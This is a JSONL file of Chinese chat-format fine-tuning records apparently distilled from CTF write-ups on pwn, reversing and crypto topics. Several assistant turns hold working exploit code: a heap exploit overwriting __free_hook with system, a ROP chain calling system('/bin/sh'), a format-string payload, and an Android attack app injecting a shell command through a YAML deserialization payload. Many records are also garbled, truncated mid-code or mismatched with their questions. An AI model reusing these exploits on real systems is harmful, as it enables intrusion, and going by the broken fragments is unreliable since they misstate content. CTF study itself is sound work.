{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-9c7fb09419e32fefce27", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《RSA与大数运算》的“乘法逆元”部分，提炼一条适合 SFT 的中文技术讲解样本（第 4 段）。", "role": "user"}, {"content": "出处：RSA与大数运算 / 乘法逆元（第 4 段）\n关键词：mpz_t、op1、op2、dest、const、rop、op、modulus、base^exp % mod、mpz_jacobi(const mpz_t a, const mpz_t p)\n蒸馏要点：\n- | `mpz_and(mpz_t dest, const mpz_t op1, const mpz_t op2)`                    | 计算 `op1` 与 `op2` 的按位与（AND）操作。                                          |\n- | `mpz_or(mpz_t dest, const mpz_t op1, const mpz_t op2)`                     | 计算 `op1` 与 `op2` 的按位或（OR）操作。                                           |\n- | `mpz_xor(mpz_t dest, const mpz_t op1, const mpz_t op2)`                    | 计算 `op1` 与 `op2` 的按位异或（XOR）操作。                                         |\n- | `mpz_shl(mpz_t dest, const mpz_t op, unsigned long n)`                     | 对 `op` 进行左移操作，将结果存储在 `dest` 中。                                         |\n- | `mpz_shr(mpz_t dest, const mpz_t op, unsigned long n)`                     | 对 `op` 进行右移操作，将结果存储在 `dest` 中。                                         |\n- | `mpz_urandomb(mpz_t rop, gmp_randstate_t state, unsigned long n)`          | 生成一个 $n$ 位长的随机数并存储在 `rop` 中。                                           |\n- | `mpz_urandomm(mpz_t rop, gmp_randstate_t state, const mpz_t modulus)`      | 生成一个小于 `modulus` 的随机数并存储在 `rop` 中。                                     |\n可用于训练的标准回答：\n| `mpz_and(mpz_t dest, const mpz_t op1, const mpz_t op2)`                    | 计算 `op1` 与 `op2` 的按位与（AND）操作。                                          |\n| `mpz_or(mpz_t dest, const mpz_t op1, const mpz_t op2)`                     | 计算 `op1` 与 `op2` 的按位或（OR）操作。                                           |\n| `mpz_xor(mpz_t dest, const mpz_t op1, const mpz_t op2)`                    | 计算 `op1` 与 `op2` 的按位异或（XOR）操作。                                         |\n| `mpz_shl(mpz_t dest, const mpz_t op, unsigned long n)`                     | 对 `op` 进行左移操作，将结果存储在 `dest` 中。                                         |\n| `mpz_shr(mpz_t dest, const mpz_t op, unsigned long n)`                     | 对 `op` 进行右移操作，将结果存储在 `dest` 中。                                         |\n| `mpz_urandomb(mpz_t rop, gmp_randstate_t state, unsigned long n)`          | 生成一个 $n$ 位长的随机数并存储在 `rop` 中。...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 3, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::d92958720e91add9", "original_line": 741, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "乘法逆元", "source": "RSA与大数运算.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "d92958720e91add9", "source_split": "train", "split": "train", "split_group_key": "a2e6acb2c1573b6c5c6955a5", "tags": ["pwn", "reverse", "crypto", "ctf-method"], "title": "RSA与大数运算", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-9ca323dec39fff618680", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“切片”？请用《Pyc：pyc文件》中的内容回答。", "role": "user"}, {"content": "1. `BUILD_SLICE`用于创建切片。对于`list`、`tuple`、字符串都可以使用切片的方式进行访问。\n2. 但是要注意`BUILD_SLICE`用于`[x:y:z]`这种类型的切片，结合`BINARY_SUBSCR`读取切片的值，结合`STORE_SUBSCR`用于修改切片的值。\n3. 对应 python 代码：", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::ba7dee715598a9dc", "original_line": 706, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "切片", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "ba7dee715598a9dc", "source_split": "train", "split": "train", "split_group_key": "fd74876a89213e13c7cb7057", "tags": ["reverse"], "title": "Pyc：pyc文件", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-9d465129dd26542e6065", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“ezheap”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“ezheap”。\n语言/类型：python\n关联知识点：\n- libc2.31,保护全开，没有UAF也没有off-by-one/null，但是注意到edit函数很特别，可以任意地址写入 666666 这个数字\n- 第一个思路显然是修改sizelist，但是想起来就算修改了size也不能edit来布置堆，同时这个开启了pie更不行。libcbase和heapbase还是很好泄露的\n- 这个任意地址写也不是任意值，而是666666这个数字，于是想到了mp_结构体，这样可以扩展tcache，然后通过delete(0)然后再add就可以编辑tcache，这时候就可以写入free_hook，然后打free_hook来getshell\n代码片段：\n```python\nfrom pwn import *\n\nio = process(\"./pwn\")\nelf = ELF(\"./pwn\")\nlibc=elf.libc\n\nmenu=\"Input your choice\"\ndef add(size,cont):\n    io.sendlineafter(menu,str(1))\n    io.sendlineafter(\"Size :\",str(size))\n    io.sendafter(\"Content :\",cont)\n\ndef delete(idx):\n    io.sendlineafter(menu,str(2))\n    io.sendlineafter(\"Index :\",str(idx))\n\ndef edit(addr):\n    io.sendlineafter(menu,str(3))\n    io.sendafter(\"content :\",addr)\n\ndef show(idx):\n    io.sendlineafter(menu,str(4))\n    io.sendlineafter(\"Index :\",str(idx))\n\nadd(0x500,b'a')\nadd(0x500,b'/bin/sh\\x00')\nadd(0x500,b'a')\nadd(0x500,b'a')\nadd(0x100,b'a')\ndelete(2)\nadd(0x500,b'a'*8)\nshow(5)\nio.recvuntil(b'a'*8)\nlibcbase=u64(io.recv(6).ljust(8,b\"\\x00\"))-0x1ecbe0\nprint(hex(libcbase))\nfree_hook= libcbase +libc.sym['__free_hook']\nsystem=libcbase+libc.sym['system']\n\nmp_=libcbase+0x1EC280+0x50\nedit(p64(mp_))\n\ndelete(3)\ndelete(0)\nadd(0x500,p64(0)*13+p64(free_hook))\nadd(0x500,p64(system))\n\ndelete(1)\n\nio.interactive()\nio.sendline('cat flag')\nprint(io.recvline())\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::019d77ff409f26ee", "original_line": 1054, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "ezheap", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "019d77ff409f26ee", "source_split": "train", "split": "train", "split_group_key": "73233c3798168347825bfb74", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-9df6cc7ed7091d8b0641", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[GDOUCTF 2023]小学数学”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [GDOUCTF 2023]小学数学\n关键词：num1、num2、sendline、str、encode、recvuntil、ord、elif、GDOUCTF、pwntools\n可用于训练的标准回答：\n### [GDOUCTF 2023]小学数学\n\n#pwntools\n\n- exp\n\n```python\nfrom pwn import *\nio = remote('node4.anna.nssctf.cn',28584)\nio.sendline(b'')\nprint('plz wait..')\nfor i in range(300):\n    io.recvuntil(str(i+1).encode())\n    num1 = int(io.recvuntil(b' '))\n    op = io.recvuntil(b' ')****\n    num2 = int(io.recvuntil(b' '))\n    print(num1, op[0], num2)\n    if(op[0] == ord('-')):\n        io.sendline(str(num1+num2).encode())\n    elif(op[0] == ord('x')):\n        io.sendline(str(num1-num2).encode())\n    elif(op[0] == ord('/')):\n        io.sendline(str(num1*num2).encode())\n    elif(op[0] == ord('%')):\n        io.sendline(str(num1//num2).encode())\n    else:\n        io.sendline(str(num1%num2).encode())\n\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::35b1768aaa689e3d", "original_line": 946, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[GDOUCTF 2023]小学数学", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "35b1768aaa689e3d", "source_split": "train", "split": "train", "split_group_key": "cc990daf30904aa3f1b33331", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-9e5411b5398448678ffd", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“Windows”？请用《暴力破解》中的内容回答。", "role": "user"}, {"content": "1. // 暴力爆破 5 位未知字符（第8~11,13）\n2. for (int a = 0; a < charset_len; a++) {\n3. for (int b = 0; b < charset_len; b++) {\n4. for (int c = 0; c < charset_len; c++) {\n5. for (int d = 0; d < charset_len; d++) {\n6. for (int e = 0; e < charset_len; e++) {", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::2326727a6655582f", "original_line": 895, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "Windows", "source": "例题/爆破/暴力破解.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "2326727a6655582f", "source_split": "train", "split": "train", "split_group_key": "f64a339f6633aad6ffafc699", "tags": ["pwn", "reverse", "ctf-method"], "title": "暴力破解", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-9e8b3a29dab945d37965", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“乘法逆元”？请用《RSA与大数运算》中的内容回答。", "role": "user"}, {"content": "1. GMP 逆向分析\n2. 在动态编译的情况下，我们逆向时是可以直接通过符号来识别出所使用的 GMP 函数的。\n3. 但是在静态链接并去除符号的情况下，我们就无法通过符号来识别出所使用的函数了。\n4. `__mpz_struct`结构体：\n5. `__mpz_struct`结构体是 GMP 库的核心类型，定义位于`mpz.h`头文件中，具体的内容会因 GMP 的版本不同而有所变化，但基本上，它包含了表示大整数所需要的所有数据，包括数值的大小、内存分配等信息。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 4, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::e92f7112c3df740b", "original_line": 696, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "乘法逆元", "source": "RSA与大数运算.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "e92f7112c3df740b", "source_split": "train", "split": "train", "split_group_key": "ce05378eef165352a7302065", "tags": ["pwn", "reverse", "crypto", "ctf-method"], "title": "RSA与大数运算", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-9e97083f6461c9e0c0c1", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《花指令：原理：反汇编算法的设计缺陷》的“call&ret构造花指令”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：花指令：原理：反汇编算法的设计缺陷 / call&ret构造花指令\n关键词：指令的本质：、LABEL9、将函数返回地址入栈然后、函数地址、代码中的、存储的是函数返回地址，对、call、esp、emit、ret\n蒸馏要点：\n- `call`指令的本质：`push`将函数返回地址入栈然后`jmp`函数地址\n- `ret`指令的本质：`pop eip`\n- 代码中的`esp`存储的是函数返回地址，对`[esp]+8`，就是函数的返回地址+8，正好盖过代码中的函数指令和垃圾数据。\n可用于训练的标准回答：\n### call&ret构造花指令\n\n```\n__asm {\n         call LABEL9;\n         _emit 0x83;\n     LABEL9:\n         add dword ptr ss : [esp] , 8;\n         ret;\n         __emit 0xF3;\n     }\n```\n\n`call`指令的本质：`push`将函数返回地址入栈然后`jmp`函数地址\n\n`ret`指令的本质：`pop eip`\n\n代码中的`esp`存储的是函数返回地址，对`[esp]+8`，就是函数的返回地址+8，正好盖过代码中的函数指令和垃圾数据。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::897c2d4621e60720", "original_line": 806, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "call&ret构造花指令", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "897c2d4621e60720", "source_split": "train", "split": "train", "split_group_key": "1afed3b4e175878b02c033c7", "tags": ["pwn", "reverse"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-9e9b9c03a828169738b5", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Hash 类算法》中“SHA1”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Hash 类算法》的“SHA1”。\n语言/类型：c\n关联知识点：\n- SHA1 算法与 MD5 类似，只不过 SHA1 有五个常量：\n- 五个固定的常量（初始化向量）\n- 不论输入是多长，输出永远是 20 字节\n- 符合上述两种调用方式之一\n代码片段：\n```c\nH0 = 0x67452301\nH1 = 0xEFCDAB89\nH2 = 0X98BADCFE\nH3 = 0X10325476\nH4 = 0XC3D2E1F0\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["crypto", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::369f80939d1b8a92", "original_line": 85, "original_split": "validation", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "SHA1", "source": "Hash 类算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "369f80939d1b8a92", "source_split": "validation", "split": "train", "split_group_key": "430731365fb1b6c42824f38e", "tags": ["crypto"], "title": "Hash 类算法", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-9ee7e824caec7712a08f", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "请将《2025强网杯 Qclac》蒸馏成模型训练用的知识卡片，要求覆盖主题、知识结构、关键术语和核心要点。", "role": "user"}, {"content": "主题：2025强网杯 Qclac\n领域标签：pwn, crypto, web, ctf-method\n知识结构：AndroidManifest.xml -> onCreate -> handleIntent -> processDeeplinkExpression -> onEqual -> onCreate -> 校验token -> 后门函数 -> HistoryActivity -> 思路\n关键术语：Intent、intent、expression、String、android、com、import、data、URI、java、qinquang、calc、fallback、Activity、new、input\n核心要点：\n- MainActivity：\n- 第一个 Intent Filter 是启动入口：\n- `android.intent.action.MAIN`：表示该 Activity 是应用的主入口。\n- `android.intent.category.LAUNCHER`：表示它会显示在设备的启动器（桌面）上。\n- 第二个 Intent Filter — 深度链接（Deep Link）\n- `action android.intent.action.VIEW`：表示该 Activity 可以用来查看某种数据（通常配合 `` 使用）。\n- `category android.intent.category.DEFAULT`：使该 Activity 可以被普通的隐式 Intent 调用。\n- `category android.intent.category.BROWSABLE`：允许从浏览器或其他应用通过链接打开。\n- `android:scheme=\"qiangcalc\"`：定义了自定义协议名；\n- `android:host=\"calculate\"`：定义了主机名。", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "crypto", "web", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::d68631803a4f09aa", "original_line": 973, "original_split": "train", "record_family": "sft_chatml", "record_type": "article_knowledge_card", "section": "article_overview", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "d68631803a4f09aa", "source_split": "train", "split": "train", "split_group_key": "e43ad22052834f5f4fc619ee", "tags": ["pwn", "crypto", "web", "ctf-method"], "title": "2025强网杯 Qclac", "type": "article_knowledge_card"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-9fdc5c9f7ae4cb3ebff4", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《2025强网杯 Qclac》的“思路”部分，提炼一条适合 SFT 的中文技术讲解样本（第 2 段）。", "role": "user"}, {"content": "出处：2025强网杯 Qclac / 思路（第 2 段）\n关键词：data、Intent、URI、com、qinquang、calc、history、yml、intent、yamlUri\n蒸馏要点：\n- // 取前 8 个字节作为 token\n- StringBuilder sb = new StringBuilder();\n- for(int i = 0; i  /data/data/com.qinquang.calc/files/history.yml\n- 这行 YAML 指定反序列化类为 PingUtil（目标程序中定义的一个类），\n- 并在其实例化时执行命令：cat flag.txt 并重定向到 history.yml 文件中。\n- private String getExp()\n- /system/bin/cat /data/data/com.\n可用于训练的标准回答：\n// 取前 8 个字节作为 token\n            StringBuilder sb = new StringBuilder();\n            for(int i = 0; i  /data/data/com.qinquang.calc/files/history.yml\n     *\n     * 这行 YAML 指定反序列化类为 PingUtil（目标程序中定义的一个类），\n     * 并在其实例化时执行命令：cat flag.txt 并重定向到 history.yml 文件中。\n     */\n    private String getExp()\n    {\n        String yaml = \"!!com.qinquang.calc.PingUtil 127.0.0.1; /system/bin/cat /data/data/com.qinquang.calc/files/flag.txt > /data/data/com.qinquang.calc/files/history.yml\";\n        return yaml;\n    }\n\n@Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        Log.d(TAG,\"攻击程序启动\");\n\n// 获取启动时的 Intent\n        Intent intent = this.getIntent();\n        Uri yamlUri = null;\n        if (intent != null)\n            yamlUri = intent.getData();  // 取得传入的 data（即文件 URI）\n\n/**\n         * 如果 yamlUri == null，表示这是第一次运行攻击程序。\n         * 否则说明目标 App 已经调用过攻...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["web", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::98b9433e6fc9007b", "original_line": 667, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "思路", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "98b9433e6fc9007b", "source_split": "train", "split": "train", "split_group_key": "792fe974f60bf26071271341", "tags": ["web", "ctf-method"], "title": "2025强网杯 Qclac", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-a0586182aab296715074", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《AES》的“脚本”部分，提炼一条适合 SFT 的中文技术讲解样本（第 2 段）。", "role": "user"}, {"content": "出处：AES / 脚本（第 2 段）\n关键词：self、State、I_SBOX、def、SBOX、SubBytes、S_BOX、SubBytes_Inv、BOX\n蒸馏要点：\n- I_SBOX = [[82, 9, 106, 213, 48, 54, 165, 56, 191, 64, 163, 158, 130, 242, 215, 250],\n- [124, 227, 57, 131, 155, 47, 254, 135, 52, 142, 67, 68, 196, 222, 233, 203],\n- [84, 123, 148, 50, 166, 194, 35, 61, 237, 76, 149, 11, 66, 249, 195, 78],\n- [8, 46, 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, 109, 139, 209, 37],\n- [114, 247, 245, 100, 134, 104, 152, 14, 212, 164, 92, 204, 93, 101, 182, 146],\n- [108, 112, 72, 80, 252, 236, 185, 218, 94, 22, 70, 87, 167, 141, 157, 133],\n- [144, 216, 171, 17, 140, 188, 211, 10, 246, 228, 88, 5, 184, 179, 69, 6],\n可用于训练的标准回答：\nI_SBOX = [[82, 9, 106, 213, 48, 54, 165, 56, 191, 64, 163, 158, 130, 242, 215, 250],\n              [124, 227, 57, 131, 155, 47, 254, 135, 52, 142, 67, 68, 196, 222, 233, 203],\n              [84, 123, 148, 50, 166, 194, 35, 61, 237, 76, 149, 11, 66, 249, 195, 78],\n              [8, 46, 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, 109, 139, 209, 37],\n              [114, 247, 245, 100, 134, 104, 152, 14, 212, 164, 92, 204, 93, 101, 182, 146],\n              [108, 112, 72, 80, 252, 236, 185, 218, 94, 22, 70, 87, 167, 141, 157, 133],\n              [144, 216, 171, 17, 140, 188, 211, 10, 246, 228, 88, 5, 184, 179, 69, 6],\n              [208, 44, 30, 143, 202, 63, 16, 3, 193, 175, 189, 2, 0, 20, 138, 107],\n              [58, 145, 18, 65, 79, 103, 220, 255, 151, 241, 207, 206, 239, 180, 230, 115],\n              [150, 172, 116, 34, 231, 173, 53, 128, 226, 248, 55, 232, 28, 117, 223, 110],...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::f0e8c9a794025f49", "original_line": 921, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "脚本", "source": "AES.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "f0e8c9a794025f49", "source_split": "train", "split": "train", "split_group_key": "100c7d40355fd1ebc77ec153", "tags": ["crypto", "ctf-method"], "title": "AES", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-a0791c9a53648bfa6e54", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“dbg()”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / dbg()\n关键词：p64、pay、libc、leak、pop_rdi_ret、elf、puts、address、dbg、got\n蒸馏要点：\n- pay=b'a'*0x48+p64(pop_rdi_ret)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(gift)\n- leak=l64()\n- lg('puts_leak', leak)\n- libc.address = leak - 0x84420\n- lg('libc_base', libc.address)\n- sh = libc.search(b'/bin/sh\\x00').__next__()\n- pay = b'a'*0x48 + p64(pop_rdi_ret) + p64(sh)+ p64(ret) + p64(libc.sym.system)\n可用于训练的标准回答：\n# dbg()\n\npay=b'a'*0x48+p64(pop_rdi_ret)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(gift)\ns(pay)\ns(b\"a\")\n\nleak=l64()\nlg('puts_leak', leak)\nlibc.address = leak - 0x84420\nlg('libc_base', libc.address)\n\nsh = libc.search(b'/bin/sh\\x00').__next__()\npay = b'a'*0x48 + p64(pop_rdi_ret) + p64(sh)+ p64(ret) + p64(libc.sym.system)\ns(pay)\n\nia()\n\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "ctf"], "original_id": "chatml::test::distilled_training_data::test::b1e0fa80fb4f9d5d", "original_line": 49, "original_split": "test", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "dbg()", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "b1e0fa80fb4f9d5d", "source_split": "test", "split": "train", "split_group_key": "da5623fc7e908a2393d6826d", "tags": ["pwn"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-a1051c3f253a51a0a255", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“flag-market”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. sla(b\"1.take my money\", \"1\")\n2. sla(b\"how much you want to pay?\", \"255\")\n3. sla(b\"please report:\", b\"r\" + b\"\\x00\" * 0xff + b\"pap%9$ppad%13$s\")\n4. sa(b\"1.take my money\", b\"1\")\n5. sa(b\"how much you want to pay?\",b\"1\")\n6. ru(b\"pap\")", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::4e517cc10fb830c3", "original_line": 632, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "flag-market", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "4e517cc10fb830c3", "source_split": "train", "split": "train", "split_group_key": "14b9c8d488436cc971f53a94", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
